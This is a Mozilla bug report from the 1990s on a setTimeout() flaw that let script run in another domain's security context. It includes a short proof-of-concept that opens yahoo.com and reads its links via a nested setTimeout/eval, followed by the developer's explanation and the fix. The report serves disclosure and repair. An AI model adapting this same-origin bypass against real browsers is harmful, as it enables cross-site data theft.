Closed
Bug 16166
Opened 26 years ago
Closed 26 years ago
setTimeout() security problem
Categories
(Core :: Security, defect, P3)
Tracking
()
VERIFIED
FIXED
People
(Reporter: joro, Assigned: norrisboyd)
References
()
Details
The setTimeout() method allows executing JavaScript code in the security context
of documents from any domain.
The code is:
----------------------------------------------------------------------
<SCRIPT>
a=window.open("http://www.yahoo.com");
window.x="s='Here are some links: ';for(i=0;i< ( (document.links.length < 10)
? document.links.length : 10) ;i++) s += document.links[i].href
+String.fromCharCode(10);alert(s);";
setTimeout("a.setTimeout('eval(opener.x)',1000);",10000);
</SCRIPT>
//opener.x may be circumvented
----------------------------------------------------------------------
Assignee | ||
Updated•26 years ago
|
Status: NEW → ASSIGNED
Assignee | ||
Comment 1•26 years ago
|
||
The principal for the timeout was being fetched from the window, not from the
currently executing code.
Assignee | ||
Updated•26 years ago
|
Status: ASSIGNED → RESOLVED
Closed: 26 years ago
Resolution: --- → FIXED
Assignee | ||
Comment 2•26 years ago
|
||
Checking in dom/src/base/nsGlobalWindow.cpp;
/m/pub/mozilla/dom/src/base/nsGlobalWindow.cpp,v <-- nsGlobalWindow.cpp
new revision: 1.157; previous revision: 1.156
done
Bulk moving all Browser Security bugs to new Security: General component. The
previous Security component for Browser will be deleted.
Component: Security → Security: General
You need to log in
before you can comment on or make changes to this bug.
Description
•